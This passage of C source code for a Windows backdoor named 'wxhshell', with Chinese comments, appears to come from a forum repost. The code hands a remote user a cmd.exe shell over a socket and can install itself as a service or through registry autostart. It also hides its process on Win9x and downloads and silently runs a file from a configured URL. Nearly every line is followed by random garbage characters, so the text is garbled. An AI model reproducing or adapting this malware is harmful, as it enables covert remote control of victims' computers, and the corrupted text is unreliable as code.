  gY)NPi}!`  
  // 帮助 qU ESN!  
  case '?': { a' sa{>  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /^#8z(@B  
    break; ^]iIvIp  
  } QfLDyJv`e  
  // 安装 &4g]#A>@  
  case 'i': { !8cS1(a  
    if(Install()) H l'za  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <IiX_*  
    else f 7g?{M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '|v??`o#  
    break; IU f1N+-z  
    } ~d+.w%Z `  
  // 卸载 < 5%:/j  
  case 'r': { 43i@5F]  
    if(Uninstall()) g>])O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FlWgTn>  
    else z(-j%?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AOh\%|}  
    break; v0~'`*|&  
    } wUnz D)  
  // 显示 wxhshell 所在路径 SONv] ));  
  case 'p': { \ C^fi}/]  
    char svExeFile[MAX_PATH]; I-@A{vvPK  
    strcpy(svExeFile,"\n\r"); r9),F.6,  
      strcat(svExeFile,ExeFile); [K(|V  
        send(wsh,svExeFile,strlen(svExeFile),0); *pu ,|  
    break; };rxpw>ms  
    } +/">]QJ  
  // 重启 Eb9 eEa<W  
  case 'b': { K^H{B& b8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =Gka;,n  
    if(Boot(REBOOT)) -pWnO9q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (e:@7W)L  
    else { ]u;Ma G=;  
    closesocket(wsh); x1g0_&F  
    ExitThread(0); );8Nj zX1  
    } OxGS{zs  
    break; \S]"nHX  
    } $:{r#mM  
  // 关机 o\n9(ao  
  case 'd': { ;S+UD~i[Bu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O8&=qZ6T  
    if(Boot(SHUTDOWN)) @P1#)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4#pn ]  
    else { wi7a_^{  
    closesocket(wsh); 3^ct;gz  
    ExitThread(0); %kod31X3<  
    } xJ/<G$LNJ0  
    break; 6P0\t\D0  
    } \0K3TMl)J  
  // 获取shell KW3Dr`A  
  case 's': { m :6.  
    CmdShell(wsh); J(k\Pz*  
    closesocket(wsh); ?`m#Y&Oi  
    ExitThread(0); PP2>v|  
    break; ;oe j~  
  } +[ +4h}?  
  // 退出 QD<GXPu?N  
  case 'x': { `k^d)9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q]Kc< [E  
    CloseIt(wsh); v/W\k.?q/  
    break; :h4Nfz(  
    } &#keI.,  
  // 离开  j|Q*L<J  
  case 'q': { aFCma2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @X_<y  
    closesocket(wsh); /S}4J"  
    WSACleanup(); R2]2#3`  
    exit(1); jH 4,-  
    break; 9 n(.v}  
        } k<bA\5K  
  } ?3f-" K_r  
  } L7\ rx w  
=Nyq1~   
  // 提示信息 j_3X 1w)k  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mes/gqrJ1I  
} V30Om3C  
  } w=dTa5  
,YEwz3$5u  
  return; 2j9+ f{ l  
} S< TUZ /;  
Bl\/q83(  
// shell模块句柄 B)q 5m y  
int CmdShell(SOCKET sock) 676r0`  
{ vlygS(Y_7  
STARTUPINFO si; X9|={ng)g#  
ZeroMemory(&si,sizeof(si)); +,"O#`sy<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S:.Vt&+NJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <)f1skJsP  
PROCESS_INFORMATION ProcessInfo; [iT*L)R4  
char cmdline[]="cmd"; m$ubxI)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !Zr 9t|_  
  return 0; @X$~{Vp__  
} DdI V~CxD  
J )*7JX  
// 自身启动模式 E41ay:duAl  
int StartFromService(void) )~u<u:N  
{ RotWMGNK  
typedef struct /Dmuvb|A  
{ LqDj4[}  
  DWORD ExitStatus; W7\s=t\  
  DWORD PebBaseAddress; fz9 ,p;b  
  DWORD AffinityMask; vtm?x,h  
  DWORD BasePriority; q6A"+w,N  
  ULONG UniqueProcessId; :1O49g3R  
  ULONG InheritedFromUniqueProcessId; h(<2{%j  
}   PROCESS_BASIC_INFORMATION; xcVF0%wVC  
JB}jt)ol%  
PROCNTQSIP NtQueryInformationProcess; =>y%Aj&4  
;5ANw"Dq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; lRy^Wp  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /=+y[y3`  
53g(:eB  
  HANDLE             hProcess; ` oPUf!  
  PROCESS_BASIC_INFORMATION pbi; %^zGM^PD  
IP#?$X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u0s25JY.%  
  if(NULL == hInst ) return 0; ,MmX(O0  
 D|8Pe{`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ees^j4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w~}*MsB  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9fj8r3 F#  
eeOE\  
  if (!NtQueryInformationProcess) return 0; 0@BhRf5  
)0tq&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w1N-`S:  
  if(!hProcess) return 0; nQHQVcDs8  
54^2=bp  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OG!+p}yD]  
W%&[gDp  
  CloseHandle(hProcess); 0q !  
?'jRUfl   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s)eU^4m  
if(hProcess==NULL) return 0; UtpK"U$XOU  
EN\ uX!  
HMODULE hMod; (mR ;MC  
char procName[255]; }O7!>T  
unsigned long cbNeeded; pS) &d4i  
]b&"](A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); vz87]InI  
#_U[ T  
  CloseHandle(hProcess); 5nQxVwY  
%]KOxaf_z  
if(strstr(procName,"services")) return 1; // 以服务启动 >3,t`Z:  
9 M<3m  
  return 0; // 注册表启动 _d J"2rx  
} ;oT!\$Mu  
A4|L;z/A[h  
// 主模块 H[;\[ 3  
int StartWxhshell(LPSTR lpCmdLine) m })EYs1  
{ @D3|Ak1  
  SOCKET wsl; 0|L%)'F  
BOOL val=TRUE; o&PPW~D+h@  
  int port=0; c]OK)i-{l  
  struct sockaddr_in door; q_G O;-b{  
?T (@<T  
  if(wscfg.ws_autoins) Install(); N H$!<ffz  
5@3hb]J  
port=atoi(lpCmdLine); ej^pFo  
'|jN!y^ 2p  
if(port<=0) port=wscfg.ws_port; ?Z{:[.  
:5 zXW;s  
  WSADATA data; eGEeWJ}[$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M{   
t:N3k ;k  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =]Vrl-a`^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q=}U  
  door.sin_family = AF_INET; %1jlXa  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gA/8Df\G:l  
  door.sin_port = htons(port); xUw)mUn@N  
-Y:^<C^^&8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VW%eB  
closesocket(wsl); &1(PS)s  
return 1; E$?:^ausu  
} N Dg*8i  
QV_e6r1t#m  
  if(listen(wsl,2) == INVALID_SOCKET) { >ow5aOlQ&  
closesocket(wsl);  0+P[0  
return 1; 4!,`|W1  
} c c^I9g~  
  Wxhshell(wsl); U5f<4I  
  WSACleanup(); :}[RDF?  
9D+B~8[SQ  
return 0; ,!{/Y7PmJ  
$Lf-Gi  
} rT}k[  
@x4IxGlUs  
// 以NT服务方式启动 D?Y j5eOa  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A]WR-0Z7  
{ ;H%T5$:trP  
DWORD   status = 0; z~R:!O-  
  DWORD   specificError = 0xfffffff; :Dn{  
UwQyAD]Ht  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jy kY8;4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8t$w/#'@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qEW3k),  
  serviceStatus.dwWin32ExitCode     = 0; :~gG]|F  
  serviceStatus.dwServiceSpecificExitCode = 0; E5EAk6  
  serviceStatus.dwCheckPoint       = 0; q n2X._`  
  serviceStatus.dwWaitHint       = 0; ^CtA@4  
uz8Y)b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1|8<!Hx#-  
  if (hServiceStatusHandle==0) return; |mO4+:-~D+  
}@'Zt6+tS  
status = GetLastError(); zK@DQ5  
  if (status!=NO_ERROR) s+jL BY  
{ -NgL4?p=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <:gNx%R  
    serviceStatus.dwCheckPoint       = 0; m-h+UKt  
    serviceStatus.dwWaitHint       = 0; QaAWO  
    serviceStatus.dwWin32ExitCode     = status; 'nR'o /!  
    serviceStatus.dwServiceSpecificExitCode = specificError; "7RnT3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .V.x0  
    return; nxZ[E.-\  
  } nTd[-3o  
wFHbz9|@I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rcx'`CIJ  
  serviceStatus.dwCheckPoint       = 0; A@I( &Z  
  serviceStatus.dwWaitHint       = 0; C2/B1ba  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }vGW lNd#g  
} %=t8   
4#c-?mh_  
// 处理NT服务事件,比如:启动、停止 WdvXVF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (='e9H!3D  
{ ra[*E4P9L*  
switch(fdwControl) #rs]5tx([  
{ r: :LQ$  
case SERVICE_CONTROL_STOP: I_\#(  
  serviceStatus.dwWin32ExitCode = 0; (tLAJ_v!.K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sBuOKT/j  
  serviceStatus.dwCheckPoint   = 0; kbHfdA  
  serviceStatus.dwWaitHint     = 0; JJ=%\j  
  { 7B"*< %<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +uD4$Wt_F  
  } p+pBk$4  
  return; BIM!4MHLA  
case SERVICE_CONTROL_PAUSE: zQNkjQ{mx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Qe6'W  
  break; $QB~ x{v@n  
case SERVICE_CONTROL_CONTINUE:  `[=3_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]3/_?n-"`  
  break; {0t-Q k  
case SERVICE_CONTROL_INTERROGATE: &P,z$H{o@  
  break; Dno'-{-  
}; `uN}mC!r]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F CbU> 1R  
} dQkp &.  
Q Jnji  
// 标准应用程序主函数 dhAkD-Lh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -{tB&V~+v  
{ rbEUq.Yk]~  
>Y\$9W=t  
// 获取操作系统版本 1m5 =Nu  
OsIsNt=GetOsVer(); @VVDN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); QwaAGUA  
;vDjd2@  
  // 从命令行安装 i4XE26B;e  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4EZl (v"f`  
^G~C#t^  
  // 下载执行文件 },;ymk|g[  
if(wscfg.ws_downexe) { J_H=GHMp}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e~+VN4D&b>  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8FmRD  
} AzmISm  
!pMp n%r<]  
if(!OsIsNt) { k ='c*`IE  
// 如果时win9x,隐藏进程并且设置为注册表启动 2Kg+SLU[~  
HideProc(); [!k#au+#c  
StartWxhshell(lpCmdLine); 4-wCk=I  
} {}W9m)I  
else U~)i&":sN  
  if(StartFromService()) \~O}V~wE  
  // 以服务方式启动 \`!M5FJ  
  StartServiceCtrlDispatcher(DispatchTable); >n^| eAH  
else ;Wws;.~  
  // 普通方式启动 F.%g_Xvk:  
  StartWxhshell(lpCmdLine); =%\y E0#  
s:fy *6=[Z  
return 0; uoIvFcb^  
}
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只看该作者 1 发表于: 2006-10-10
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